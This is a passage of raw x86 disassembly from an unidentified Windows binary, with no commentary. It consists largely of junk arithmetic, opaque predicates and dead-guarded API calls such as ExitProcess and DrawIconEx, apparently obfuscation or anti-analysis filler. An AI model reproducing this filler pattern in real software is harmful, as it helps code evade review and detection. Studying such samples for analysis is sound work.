and dword [ebp - 0xcf4], 0
jmp 0x46466a
mov dword [ebp - 0xcf4], 1
mov eax, dword [ebp - 0xcf4]
mov dword [ebp - 0x19c8], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x19c8]
mov dword [ebp + eax - 0x2240], ecx
mov dword [ebp - 0x22a8], 0xcdb8faaa
mov dword [ebp - 0x418], 1
cmp dword [ebp - 0x418], 0
je 0x4646c1
mov dword [ebp - 0x2248], 1
mov eax, dword [ebp - 0x418]
mov dword [ebp - 0x2248], eax
jmp 0x46478a
mov dword [ebp - 0x86c], 0xfff7
mov dword [ebp - 0xd0c], 0xcafa
mov dword [ebp - 0x2250], 0
cmp dword [ebp - 0x418], 3
ja 0x4646ff
mov eax, dword [ebp - 0x86c]
sub eax, dword [ebp - 0x418]
jne 0x4646ff
and dword [ebp - 0xcfc], 0
jmp 0x464709
mov dword [ebp - 0xcfc], 1
mov eax, dword [ebp - 0x418]
add eax, dword [ebp - 0xcfc]
cmp eax, dword [ebp - 0x86c]
je 0x464729
mov dword [ebp - 0x19d0], 1
jmp 0x464730
and dword [ebp - 0x19d0], 0
mov eax, dword [ebp - 0x86c]
cmp eax, dword [ebp - 0x19d0]
jne 0x46474a
mov dword [ebp - 0xd04], 1
jmp 0x464751
and dword [ebp - 0xd04], 0
mov eax, dword [ebp - 0x86c]
cmp eax, dword [ebp - 0xd04]
jge 0x46476b
mov dword [ebp - 0x19d8], 1
jmp 0x464772
and dword [ebp - 0x19d8], 0
mov eax, dword [ebp - 0x19d8]
mov dword [ebp - 0xd0c], eax
mov eax, dword [ebp - 0xd0c]
mov dword [ebp - 0x2250], eax
mov dword [ebp - 0x5a4], 0
jmp 0x4647a3
mov eax, dword [ebp - 0x5a4]
inc eax
mov dword [ebp - 0x5a4], eax
cmp dword [ebp - 0x5a4], 2
jge 0x4647c2
push dword [ebp - 0x5a4]
lea ecx, [ebp - 0x2340]
call fcn.0042aeee
or dword [eax], 0xffffffff
jmp 0x464796
mov dword [ebp - 0x744], 0x432a2768
push 3
lea ecx, [ebp - 0x2818]
call fcn.0042ae00
mov dword [ebp - 0x5ac], 0xffffffff
mov dword [ebp - 0xd14], 0xfffffffa
mov dword [ebp - 0x2258], 0xfffffff8
mov dword [ebp - 0x150], 0
jmp 0x464810
mov eax, dword [ebp - 0x150]
inc eax
mov dword [ebp - 0x150], eax
cmp dword [ebp - 0x150], 3
jge 0x46482f
push dword [ebp - 0x150]
lea ecx, [ebp - 0x2818]
call fcn.0042aeee
and dword [eax], 0
jmp 0x464803
mov dword [ebp - 0x150], 0
jmp 0x464848
mov eax, dword [ebp - 0x150]
inc eax
mov dword [ebp - 0x150], eax
cmp dword [ebp - 0x150], 3
jge 0x464864
mov eax, dword [ebp - 0x150]
mov dword [ebp + eax*4 - 0x2d0c], 9
jmp 0x46483b
mov dword [ebp - 0x744], 0
mov esi, dword [ebp - 0x744]
push 0
lea ecx, [ebp - 0x2818]
call fcn.0042aeee
mov dword [eax], esi
mov eax, dword [ebp - 0x5ac]
mov dword [ebp - 0x2a2c], eax
mov eax, dword [ebp - 0xd14]
cmp dword [ebp - 0x5ac], eax
jg 0x4648a9
mov dword [ebp - 0x19e0], 1
jmp 0x4648b0
and dword [ebp - 0x19e0], 0
cmp dword [ebp - 0x19e0], 0xea5f
je 0x4648c8
mov dword [ebp - 0x19e8], 1
jmp 0x4648cf
and dword [ebp - 0x19e8], 0
mov eax, dword [ebp - 0xd14]
sub eax, dword [ebp - 0x19e8]
push 4
pop ecx
shl ecx, 1
cmp eax, dword [ebp + ecx - 0x2d0c]
jle 0x4648fe
mov eax, 0xae9a
test eax, eax
je 0x4648fe
mov dword [ebp - 0xd1c], 1
jmp 0x464905
and dword [ebp - 0xd1c], 0
mov eax, dword [ebp - 0xd1c]
sub eax, dword [ebp - 0x744]
jne 0x46492b
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x2d0c], 0
jne 0x46492b
and dword [ebp - 0x19f0], 0
jmp 0x464935
mov dword [ebp - 0x19f0], 1
imul eax, dword [ebp - 0x19f0], 0
sub eax, 0x2c5d
je 0x46494a
cmp dword [ebp - 0x744], 0
mov eax, dword [ebp - 0x2258]
cmp dword [ebp - 0x5ac], eax
jle 0x464964
mov dword [ebp - 0xd24], 1
jmp 0x46496b
and dword [ebp - 0xd24], 0
mov eax, dword [ebp - 0xd24]
mov dword [ebp - 0x5ac], eax
lea ecx, [ebp - 0x2818]
call fcn.0042aed2
mov esi, dword [ebp - 0x2260]
push 1
lea ecx, [ebp - 0x2340]
call fcn.0042aeee
mov dword [eax], esi
mov dword [ebp - 0x28c], 0x34e6d4f2
mov dword [ebp - 0x19f8], 0x7d8c
push 2
lea ecx, [ebp - 0x1ec0]
call fcn.0042ae00
mov dword [ebp - 0x218], 0xb8e9646b
mov dword [ebp - 0x1e0], 0x9725
mov dword [ebp - 0x814], 0
jmp 0x4649e5
mov eax, dword [ebp - 0x814]
inc eax
mov dword [ebp - 0x814], eax
cmp dword [ebp - 0x814], 2
jge 0x464a04
push dword [ebp - 0x814]
lea ecx, [ebp - 0x1ec0]
call fcn.0042aeee
and dword [eax], 0
jmp 0x4649d8
mov eax, dword [ebp - 0x28c]
mov dword [ebp - 0x2a34], eax
mov esi, dword [ebp - 0x19f8]
imul esi, dword [ebp - 0x19f8]
push 0
lea ecx, [ebp - 0x1ec0]
call fcn.0042aeee
cmp esi, dword [eax]
jle 0x464a3a
mov dword [ebp - 0xd2c], 1
jmp 0x464a41
and dword [ebp - 0xd2c], 0
mov eax, dword [ebp - 0x28c]
cmp eax, dword [ebp - 0xd2c]
jge 0x464a5b
mov dword [ebp - 0x1a00], 1
jmp 0x464a62
and dword [ebp - 0x1a00], 0
mov eax, dword [ebp - 0x218]
cmp dword [ebp - 0x1a00], eax
jl 0x464a7c
mov dword [ebp - 0xd34], 1
jmp 0x464a83
and dword [ebp - 0xd34], 0
mov eax, dword [ebp - 0x28c]
add eax, 0x7cf2e566
cmp eax, dword [ebp - 0xd34]
jg 0x464aa2
mov dword [ebp - 0x1a08], 1
jmp 0x464aa9
and dword [ebp - 0x1a08], 0
mov eax, dword [ebp - 0x1a08]
mov dword [ebp - 0x218], eax
mov eax, dword [ebp - 0x1e0]
cmp dword [ebp - 0x218], eax
jg 0x464acf
mov dword [ebp - 0xd3c], 1
jmp 0x464ad6
and dword [ebp - 0xd3c], 0
mov eax, dword [ebp - 0x1e0]
cmp dword [ebp - 0xd3c], eax
jg 0x464af0
mov dword [ebp - 0x1a10], 1
jmp 0x464af7
and dword [ebp - 0x1a10], 0
push 0
lea ecx, [ebp - 0x1ec0]
call fcn.0042aeee
mov ecx, dword [ebp - 0x1a10]
mov dword [eax], ecx
mov dword [ebp - 0x218], 0
jmp 0x464b25
mov eax, dword [ebp - 0x218]
inc eax
mov dword [ebp - 0x218], eax
cmp dword [ebp - 0x218], 1
jg 0x464c1f
mov dword [ebp - 0xd44], 0x30c4
mov dword [ebp - 0x28c], 0
jmp 0x464b55
mov eax, dword [ebp - 0x28c]
inc eax
mov dword [ebp - 0x28c], eax
cmp dword [ebp - 0x28c], 1
jg 0x464c1a
mov dword [ebp - 0x1e0], 0
jmp 0x464b7b
mov eax, dword [ebp - 0x1e0]
inc eax
mov dword [ebp - 0x1e0], eax
cmp dword [ebp - 0x1e0], 1
jg 0x464c15
push dword [ebp - 0x218]
lea ecx, [ebp - 0x1ec0]
call fcn.0042aeee
cmp dword [eax], 0
je 0x464be6
push dword [ebp - 0x1e0]
lea ecx, [ebp - 0x1ec0]
call fcn.0042aeee
mov esi, eax
push dword [ebp - 0x1e0]
lea ecx, [ebp - 0x1ec0]
call fcn.0042aeee
mov ecx, dword [esi]
mov dword [eax], ecx
mov byte [ebp - 0x230], 0
movzx eax, byte [ebp - 0x230]
test eax, eax
je 0x464be4
push 0
push 0
push 0
call dword [sym.imp.OLEAUT32.dll_SysFreeString]
jmp 0x464c03
mov byte [ebp - 0x369], 0
movzx eax, byte [ebp - 0x369]
test eax, eax
je 0x464c03
push 0x1ed3
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [ebp - 0xd44]
dec eax
mov dword [ebp - 0xd44], eax
jmp 0x464b6e
jmp 0x464b48
jmp 0x464b18
lea ecx, [ebp - 0x1ec0]
call fcn.0042aed2
push 0
lea ecx, [ebp - 0x2340]
call fcn.0042aeee
cmp dword [eax], 0
je 0x465105
mov dword [ebp - 0x2690], 0x4a68
mov dword [ebp - 0x268c], 0x4a68
mov dword [ebp - 0x2688], 0x4a68
mov dword [ebp - 0x2684], 0x4a68
lea ecx, [ebp - 0xa81]
call fcn.0042aefd
push eax
lea eax, [ebp - 0x2680]
push eax
lea eax, [ebp - 0x2690]
push eax
lea ecx, [ebp - 0x3254]
call fcn.0042af00
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x2d1c]
call fcn.0042aeac
mov dword [ebp - 0x4e8], 0xffb871c7
mov byte [ebp - 0x232], 0
movzx eax, byte [ebp - 0x232]
test eax, eax
je 0x464cd3
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateEnhMetaFileW]
mov dword [ebp - 0x4e8], 0
jmp 0x464cec
mov eax, dword [ebp - 0x4e8]
inc eax
mov dword [ebp - 0x4e8], eax
cmp dword [ebp - 0x4e8], 4
jge 0x464d0e
push dword [ebp - 0x4e8]
lea ecx, [ebp - 0x2d1c]
call fcn.0042aeee
mov dword [eax], 1
jmp 0x464cdf
lea ecx, [ebp - 0x2d1c]
call fcn.0042aed2
mov dword [ebp - 0xb0], 0xffff
mov dword [ebp - 0x1e90], 4
mov dword [ebp - 0x1e8c], 4
mov dword [ebp - 0x1e88], 4
mov dword [ebp - 0x1e84], 4
mov dword [ebp - 0x2a3c], 3
mov eax, dword [ebp - 0xb0]
dec eax
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0xb0], 0
jmp 0x464d7b
mov eax, dword [ebp - 0xb0]
inc eax
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 3
jg 0x464e5d
mov dword [ebp - 0x1a20], 0x31fadacd
mov eax, dword [ebp - 0xb0]
mov eax, dword [ebp + eax*4 - 0x1e90]
mov dword [ebp - 0x2a44], eax
mov eax, 0xfffd
test eax, eax
jne 0x464dc7
mov eax, dword [ebp - 0xb0]
cmp dword [ebp + eax*4 - 0x1e90], 0
je 0x464dc7
and dword [ebp - 0x1a18], 0
jmp 0x464dd1
mov dword [ebp - 0x1a18], 1
mov eax, dword [ebp - 0xb0]
mov eax, dword [ebp + eax*4 - 0x1e90]
mov dword [ebp - 0x2a4c], eax
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x1e90]
mov dword [ebp - 0x2a54], eax
mov eax, dword [ebp - 0xb0]
mov dword [ebp - 0x2a5c], eax
mov eax, dword [ebp - 0xb0]
mov eax, dword [ebp + eax*4 - 0x1e90]
inc eax
cmp dword [ebp - 0x1a18], eax
jge 0x464e25
mov dword [ebp - 0xd4c], 1
jmp 0x464e2c
and dword [ebp - 0xd4c], 0
mov eax, dword [ebp - 0xb0]
mov ecx, dword [ebp - 0xd4c]
mov dword [ebp + eax*4 - 0x1e90], ecx
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1e90]
add eax, dword [ebp - 0x1a20]
mov dword [ebp - 0x1a20], eax
jmp 0x464d6e
mov byte [ebp - 0x234], 0
mov dword [ebp - 0x48], 0xb4ff
mov dword [ebp - 0x2278], 0xffffffff
mov dword [ebp - 0x5b4], 0
jmp 0x464e8e
mov eax, dword [ebp - 0x5b4]
inc eax
mov dword [ebp - 0x5b4], eax
cmp dword [ebp - 0x5b4], 2
jge 0x464eaa
mov eax, dword [ebp - 0x5b4]
mov dword [ebp + eax*4 - 0x2174], 0xdac0faab
jmp 0x464e81
cmp dword [ebp - 0x48], 0
jne 0x464ebf
cmp dword [ebp - 0x48], 0
jne 0x464ebf
and dword [ebp - 0x2268], 0
jmp 0x464ec9
mov dword [ebp - 0x2268], 1
cmp dword [ebp - 0x48], 0xfffffffb
jne 0x464edb
mov dword [ebp - 0xd54], 1
jmp 0x464ee2
and dword [ebp - 0xd54], 0
cmp dword [ebp - 0xd54], 0xfffffffc
jbe 0x464ef7
mov dword [ebp - 0x1a8], 0
mov dword [ebp - 0x5d4], 0x7a5e
mov dword [ebp - 0xa98], 1
mov dword [ebp - 0x75c], 0x1b4415e4
mov dword [ebp - 0x2290], 0xfffffffa
mov dword [ebp - 0x1aa0], 0xffffffff
mov dword [ebp - 0x5bc], 0
jmp 0x46515a
mov eax, dword [ebp - 0x5bc]
inc eax
mov dword [ebp - 0x5bc], eax
cmp dword [ebp - 0x5bc], 4
jge 0x465176
mov eax, dword [ebp - 0x5bc]
mov dword [ebp + eax*4 - 0x3008], 0x889b05f6
jmp 0x46514d
mov dword [ebp - 0x1a8], 0
jmp 0x46518f
mov eax, dword [ebp - 0x1a8]
dec eax
mov dword [ebp - 0x1a8], eax
cmp dword [ebp - 0x1a8], 0xffffffe9
jl 0x465680
mov dword [ebp - 0x5c4], 0xffffffff
mov dword [ebp - 0xd7c], 0x37ae9f90
mov dword [ebp - 0x8b8], 0
jmp 0x4651c9
mov eax, dword [ebp - 0x8b8]
inc eax
mov dword [ebp - 0x8b8], eax
cmp dword [ebp - 0x8b8], 1
jge 0x4651e5
mov eax, dword [ebp - 0x8b8]
mov dword [ebp + eax*4 - 0x81c], 6
jmp 0x4651bc
mov dword [ebp - 0x5c4], 0
jmp 0x4651fe
cmp dword [ebp - 0x5c4], 0
jg 0x46567b
push 2
lea ecx, [ebp - 0xad0]
call fcn.0042ae00
mov dword [ebp - 0x2280], 0xfffffff7
mov dword [ebp - 0x754], 0
jmp 0x46523b
cmp dword [ebp - 0x754], 2
jge 0x46525d
jmp 0x465182
cmp dword [ebp - 0xa98], 0xfffffffc
jge 0x4657ff
mov eax, dword [ebp - 0x1a8]
mov dword [ebp - 0x1a98], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x1a98]
mov dword [ebp + eax - 0x3008], ecx
cmp dword [ebp - 0x1a98], 0
jne 0x465794
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x2290]
cmp dword [ebp + eax - 0x3008], ecx
jle 0x4656da
mov dword [ebp - 0xdcc], 1
jmp 0x4656e1
and dword [ebp - 0xdcc], 0
mov eax, dword [ebp - 0xdcc]
mov dword [ebp - 0x1aa0], eax
mov eax, dword [ebp - 0x5d4]
cmp dword [ebp - 0x1aa0], eax
jl 0x465710
mov eax, 0x7dfbf73e
test eax, eax
je 0x465710
mov dword [ebp - 0xdd4], 1
jmp 0x465717
and dword [ebp - 0xdd4], 0
mov eax, dword [ebp - 0x5d4]
cmp dword [ebp - 0xdd4], eax
jle 0x465731
mov dword [ebp - 0x1aa8], 1
jmp 0x465738
and dword [ebp - 0x1aa8], 0
mov eax, dword [ebp - 0x75c]
cmp dword [ebp - 0x1aa8], eax
je 0x465752
mov dword [ebp - 0x1ab0], 1
cmp dword [ebp - 0x1ab0], 0xffffffff
jb 0x4657b3
mov dword [ebp - 0xde4], 1
jmp 0x4657ba
and dword [ebp - 0xde4], 0
mov eax, dword [ebp - 0xde4]
sub eax, dword [ebp - 0x1a8]
cmp eax, dword [ebp - 0x1a8]
jge 0x4657da
mov dword [ebp - 0x22a0], 1
jmp 0x4657e1
and dword [ebp - 0x22a0], 0
mov eax, dword [ebp - 0x5d4]
mov dword [ebp - 0x2a74], eax
mov eax, 0xff7dd1a1
test eax, eax
jne 0x4657ff
and dword [ebp - 0x1ab8], 0
jmp 0x465809
mov dword [ebp - 0x1ab8], 1
cmp dword [ebp - 0x1ab8], 0xda4f1dfb
je 0x465821
mov dword [ebp - 0xdec], 1
jmp 0x465828
and dword [ebp - 0xdec], 0
mov eax, dword [ebp - 0xdec]
neg eax
imul eax, dword [ebp - 0x75c]
dec eax
mov dword [ebp - 0xa98], eax
mov eax, dword [ebp - 0xa98]
mov dword [ebp - 0x1a8], eax
push 1
lea ecx, [ebp - 0x2340]
call fcn.0042aeee
mov eax, dword [eax]
mov dword [ebp - 0x22a8], eax
lea ecx, [ebp - 0x2340]
call fcn.0042aed2
push 1
lea ecx, [ebp - 0x1e9c]
call fcn.0042ae00
mov dword [ebp - 0x9a8], 0x86aeba4d
mov dword [ebp - 0x22c0], 0x5467
mov dword [ebp - 0x22c8], 0xdd61fb9a
mov dword [ebp - 0x54], 0
jmp 0x4658a5
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 1
jge 0x4658be
push dword [ebp - 0x54]
lea ecx, [ebp - 0x1e9c]
call fcn.0042aeee
or dword [eax], 0xffffffff
jmp 0x46589e
mov dword [ebp - 0x54], 0
jmp 0x4658ce
cmp dword [ebp - 0x54], 4
jge 0x4658e4
cmp dword [ebp + 8], 1
jne 0x476e82
mov dword [ebp - 0x10c], 1
mov dword [ebp - 0x3064], 0xffffffff
mov dword [ebp - 0x558], 0
jmp 0x46d4de
mov eax, dword [ebp - 0x558]
inc eax
mov dword [ebp - 0x558], eax
cmp dword [ebp - 0x558], 3
jge 0x46d4fa
mov eax, dword [ebp - 0x558]
mov dword [ebp + eax*4 - 0x33b0], 0xffffffff
jmp 0x46d4d1
mov dword [ebp - 0x10c], 2
jmp 0x46d513
mov eax, dword [ebp - 0x10c]
dec eax
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0
jl 0x46d529
cmp dword [ebp - 0x10c], 0
je 0x46d527
jmp 0x46d529
jmp 0x46d506
mov dword [ebp - 0x10c], 0xfffffff9
jmp 0x46d542
mov eax, dword [ebp - 0x10c]
inc eax
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0x18
jl 0x46d67b
mov dword [ebp - 0x3fc], 0x4896e6a3
mov dword [ebp - 0x1d14], 0xc556123d
mov dword [ebp - 0x229c], 7
cmp dword [ebp - 0x3fc], 0
je 0x46d5ac
mov eax, dword [ebp - 0x3fc]
cmp dword [ebp - 0x3fc], eax
jg 0x46d590
mov dword [ebp - 0x1414], 1
jmp 0x46d597
and dword [ebp - 0x1414], 0
cmp dword [ebp - 0x1414], 0
jne 0x46d5ac
mov dword [ebp - 0x1934], 1
jmp 0x46d5b3
and dword [ebp - 0x1934], 0
cmp dword [ebp - 0x1934], 0xb14f
jge 0x46d5cb
mov dword [ebp - 0x141c], 1
jmp 0x46d5d2
and dword [ebp - 0x141c], 0
mov eax, dword [ebp - 0x3fc]
cmp dword [ebp - 0x141c], eax
jle 0x46d5ec
mov dword [ebp - 0x1bcc], 1
jmp 0x46d5f3
and dword [ebp - 0x1bcc], 0
mov eax, dword [ebp - 0x10c]
cmp dword [ebp - 0x1bcc], eax
jne 0x46d60d
mov dword [ebp - 0x1424], 1
jmp 0x46d614
and dword [ebp - 0x1424], 0
mov eax, dword [ebp - 0x1424]
add eax, 0xffff
jne 0x46d633
mov eax, 0xcc9ca319
test eax, eax
jne 0x46d633
and dword [ebp - 0x193c], 0
jmp 0x46d63d
mov dword [ebp - 0x193c], 1
mov eax, dword [ebp - 0x3fc]
cmp dword [ebp - 0x193c], eax
jl 0x46d657
mov dword [ebp - 0x142c], 1
jmp 0x46d65e
and dword [ebp - 0x142c], 0
mov eax, dword [ebp - 0x142c]
mov dword [ebp - 0x1d14], eax
mov eax, dword [ebp - 0x1d14]
mov dword [ebp - 0x229c], eax
jmp 0x46d535
mov dword [ebp - 0x2f08], 0xb2c2
mov dword [ebp - 0x2c80], 0xe2236432
mov dword [ebp - 0x29f8], 0xffffffff
mov dword [ebp - 0x2fa4], 6
mov dword [ebp - 0x1434], 0xffffffff
mov dword [ebp - 0x560], 0
jmp 0x46d6c6
mov eax, dword [ebp - 0x560]
inc eax
mov dword [ebp - 0x560], eax
cmp dword [ebp - 0x560], 1
jge 0x46d6e2
mov eax, dword [ebp - 0x560]
mov dword [ebp + eax*4 - 0x2a00], 4
jmp 0x46d6b9
mov eax, dword [ebp - 0x1434]
dec eax
mov dword [ebp - 0x1434], eax
mov dword [ebp - 0x570], 0x60b4ffb8
mov dword [ebp - 0x568], 0
jmp 0x46d712
mov eax, dword [ebp - 0x568]
inc eax
mov dword [ebp - 0x568], eax
cmp dword [ebp - 0x568], 3
jge 0x46d72e
mov eax, dword [ebp - 0x568]
mov dword [ebp + eax*4 - 0x3398], 0xfffffffe
jmp 0x46d705
mov dword [ebp - 0x570], 2
jmp 0x46d747
mov eax, dword [ebp - 0x570]
dec eax
mov dword [ebp - 0x570], eax
cmp dword [ebp - 0x570], 0
jl 0x46d76c
mov byte [ebp - 0x33d], 0
movzx eax, byte [ebp - 0x33d]
test eax, eax
je 0x46d76a
push 0
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x46d73a
mov byte [ebp - 0x268], 0
movzx eax, byte [ebp - 0x268]
test eax, eax
je 0x46d799
push 0x12d4
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_MapWindowPoints]
mov dword [ebp - 0x31c], 0xca631852
mov dword [ebp - 0x2654], 7
mov dword [ebp - 0x2650], 7
mov dword [ebp - 0x264c], 7
mov dword [ebp - 0x2648], 7
lea ecx, [ebp - 0x93d]
call fcn.0042aefd
push eax
lea eax, [ebp - 0x2644]
push eax
lea eax, [ebp - 0x2654]
push eax
lea ecx, [ebp - 0x32f4]
call fcn.0042af00
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x2dcc]
call fcn.0042aeac
mov dword [ebp - 0x40c], 0
mov dword [ebp - 0x40c], 3
jmp 0x46d823
mov eax, dword [ebp - 0x40c]
dec eax
mov dword [ebp - 0x40c], eax
cmp dword [ebp - 0x40c], 0
jl 0x46d85e
mov byte [ebp - 0x372], 0
movzx eax, byte [ebp - 0x372]
test eax, eax
je 0x46d844
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
push dword [ebp - 0x40c]
lea ecx, [ebp - 0x2dcc]
call fcn.0042aeee
cmp dword [eax], 0
je 0x46d85c
jmp 0x46d816
jmp 0x46d816
lea ecx, [ebp - 0x2dcc]
call fcn.0042aed2
mov dword [ebp - 0xac], 8
mov dword [ebp - 0xa18], 0x46158d32
mov dword [ebp - 0x580], 0xe314a5ea
mov dword [ebp - 0x414], 0x279a20b2
mov dword [ebp - 0x20d4], 0xffffffff
mov dword [ebp - 0x578], 0xfffffff9
push 1
lea ecx, [ebp - 0x24c0]
call fcn.0042ae00
mov dword [ebp - 0x1a4], 0
jmp 0x46d8cb
mov eax, dword [ebp - 0x1a4]
inc eax
mov dword [ebp - 0x1a4], eax
cmp dword [ebp - 0x1a4], 1
jge 0x46d8ed
push dword [ebp - 0x1a4]
lea ecx, [ebp - 0x24c0]
call fcn.0042aeee
mov dword [eax], 0x7cbb4028
jmp 0x46d8be
mov dword [ebp - 0x1a4], 0
jmp 0x46d906
mov eax, dword [ebp - 0x1a4]
inc eax
mov dword [ebp - 0x1a4], eax
cmp dword [ebp - 0x1a4], 1
jge 0x46d922
mov eax, dword [ebp - 0x1a4]
mov dword [ebp + eax*4 - 0x2428], 0xffffffff
jmp 0x46d8f9
mov eax, dword [ebp - 0xa18]
inc eax
je 0x46d940
cmp dword [ebp - 0x580], 0
je 0x46d940
mov dword [ebp - 0x1944], 1
jmp 0x46d947
and dword [ebp - 0x1944], 0
mov eax, dword [ebp - 0x1944]
mov dword [ebp - 0x414], eax
mov eax, dword [ebp - 0x414]
mov dword [ebp - 0x20d4], eax
cmp dword [ebp - 0x414], 0
je 0x46d975
cmp dword [ebp - 0xa18], 0
jne 0x46da40
mov eax, dword [ebp - 0x578]
sub eax, dword [ebp - 0x578]
cmp eax, dword [ebp - 0xa18]
jg 0x46d995
mov dword [ebp - 0x143c], 1
jmp 0x46d99c
and dword [ebp - 0x143c], 0
mov eax, dword [ebp - 0x580]
cmp dword [ebp - 0x143c], eax
je 0x46d9b6
mov dword [ebp - 0x1bd4], 1
jmp 0x46d9bd
and dword [ebp - 0x1bd4], 0
mov eax, dword [ebp - 0x578]
add eax, dword [ebp - 0x1bd4]
cmp eax, dword [ebp - 0x578]
jl 0x46d9ef
push 0
lea ecx, [ebp - 0x24c0]
call fcn.0042aeee
cmp dword [eax], 0
je 0x46d9ef
mov dword [ebp - 0x1444], 1
jmp 0x46d9f6
and dword [ebp - 0x1444], 0
imul eax, dword [ebp - 0x1444], 0xfffc
cmp eax, dword [ebp - 0x414]
jle 0x46da14
mov dword [ebp - 0xa88], 1
jmp 0x46da1b
and dword [ebp - 0xa88], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xa88]
mov dword [ebp + eax - 0x2428], ecx
cmp dword [ebp - 0xa88], 0
jne 0x46da40
and dword [ebp - 0x194c], 0
jmp 0x46da4a
mov dword [ebp - 0x194c], 1
mov esi, dword [ebp - 0x414]
push 0
lea ecx, [ebp - 0x24c0]
call fcn.0042aeee
mov ecx, dword [ebp - 0x194c]
imul ecx, dword [eax]
inc ecx
add esi, ecx
je 0x46da80
cmp dword [ebp - 0x580], 0
je 0x46da80
mov dword [ebp - 0x144c], 1
jmp 0x46da87
and dword [ebp - 0x144c], 0
mov eax, dword [ebp - 0x144c]
mov dword [ebp - 0x580], eax
lea ecx, [ebp - 0x24c0]
call fcn.0042aed2
push 4
lea ecx, [ebp - 0xb00]
call fcn.0042ae00
push 2
lea ecx, [ebp - 0x23a0]
call fcn.0042ae00
push 3
lea ecx, [ebp - 0x2390]
call fcn.0042ae00
mov dword [ebp - 0x58], 0
jmp 0x46dad5
mov eax, dword [ebp - 0x58]
inc eax
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 2
jge 0x46daee
push dword [ebp - 0x58]
lea ecx, [ebp - 0x23a0]
call fcn.0042aeee
or dword [eax], 0xffffffff
jmp 0x46dace
mov dword [ebp - 0x58], 0
jmp 0x46dafe
mov eax, dword [ebp - 0x58]
inc eax
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 1
jge 0x46db14
mov eax, dword [ebp - 0x58]
mov dword [ebp + eax*4 - 0x1454], 1
jmp 0x46daf7
mov dword [ebp - 0x58], 0
jmp 0x46db24
mov eax, dword [ebp - 0x58]
inc eax
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 3
jge 0x46db40
push dword [ebp - 0x58]
lea ecx, [ebp - 0x2390]
call fcn.0042aeee
mov dword [eax], 0xf365653d
jmp 0x46db1d
push 0
lea ecx, [ebp - 0x23a0]
call fcn.0042aeee
and dword [eax], 0
jmp 0x46db76
push 0
lea ecx, [ebp - 0x23a0]
call fcn.0042aeee
mov dword [ebp - 0x1e44], eax
mov eax, dword [ebp - 0x1e44]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x1e44]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x23a0]
call fcn.0042aeee
cmp dword [eax], 0xb
je 0x46dc1e
mov dword [ebp - 0x3d8], 0x68c0aa39
mov dword [ebp - 0x3d8], 0
jmp 0x46dbaf
mov eax, dword [ebp - 0x3d8]
dec eax
mov dword [ebp - 0x3d8], eax
cmp dword [ebp - 0x3d8], 0
jl 0x46dc19
mov eax, dword [ebp - 0x3d8]
mov ecx, dword [ebp - 0x3d8]
mov eax, dword [ebp + eax*4 - 0x1454]
mov dword [ebp + ecx*4 - 0x1454], eax
mov byte [ebp - 0x26a], 0
movzx eax, byte [ebp - 0x26a]
test eax, eax
je 0x46dc17
push 0x2f
push 0
push 0x9bb
push 0x3e7
push 0xb6e
push 0
push 0xc87
push 0xd7f
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawIconEx]
jmp 0x46dba2
jmp 0x46db52
push 2
lea ecx, [ebp - 0x2390]
call fcn.0042aeee
and dword [eax], 0
jmp 0x46dc54
push 2
lea ecx, [ebp - 0x2390]
call fcn.0042aeee
mov dword [ebp - 0x1954], eax
mov eax, dword [ebp - 0x1954]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x1954]
mov dword [ecx], eax
push 2
lea ecx, [ebp - 0x2390]
call fcn.0042aeee
cmp dword [eax], 1
jg 0x46dcfc
mov dword [ebp - 0x1d0], 0xb9876427
mov dword [ebp - 0x1d0], 1
jmp 0x46dc8d
mov eax, dword [ebp - 0x1d0]
dec eax
mov dword [ebp - 0x1d0], eax
cmp dword [ebp - 0x1d0], 0
jl 0x46dcb9
mov byte [ebp - 0x345], 0
movzx eax, byte [ebp - 0x345]
test eax, eax
je 0x46dcb7
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
jmp 0x46dc80
mov dword [ebp - 0x1d0], 1
jmp 0x46dcd2
mov eax, dword [ebp - 0x1d0]
dec eax
mov dword [ebp - 0x1d0], eax
cmp dword [ebp - 0x1d0], 0
jl 0x46dcf7
mov byte [ebp - 0x26c], 0
movzx eax, byte [ebp - 0x26c]
test eax, eax
je 0x46dcf5
push 0
call dword [sym.imp.KERNEL32.dll_LockResource]
jmp 0x46dcc5
jmp 0x46dc30
lea ecx, [ebp - 0x2390]
call fcn.0042aed2
lea ecx, [ebp - 0x23a0]
call fcn.0042aed2
mov dword [ebp - 0x215c], 0xed761e7f
mov dword [ebp - 0x384], 0x57ad95e1
mov dword [ebp - 0x588], 0
jmp 0x46dd3f
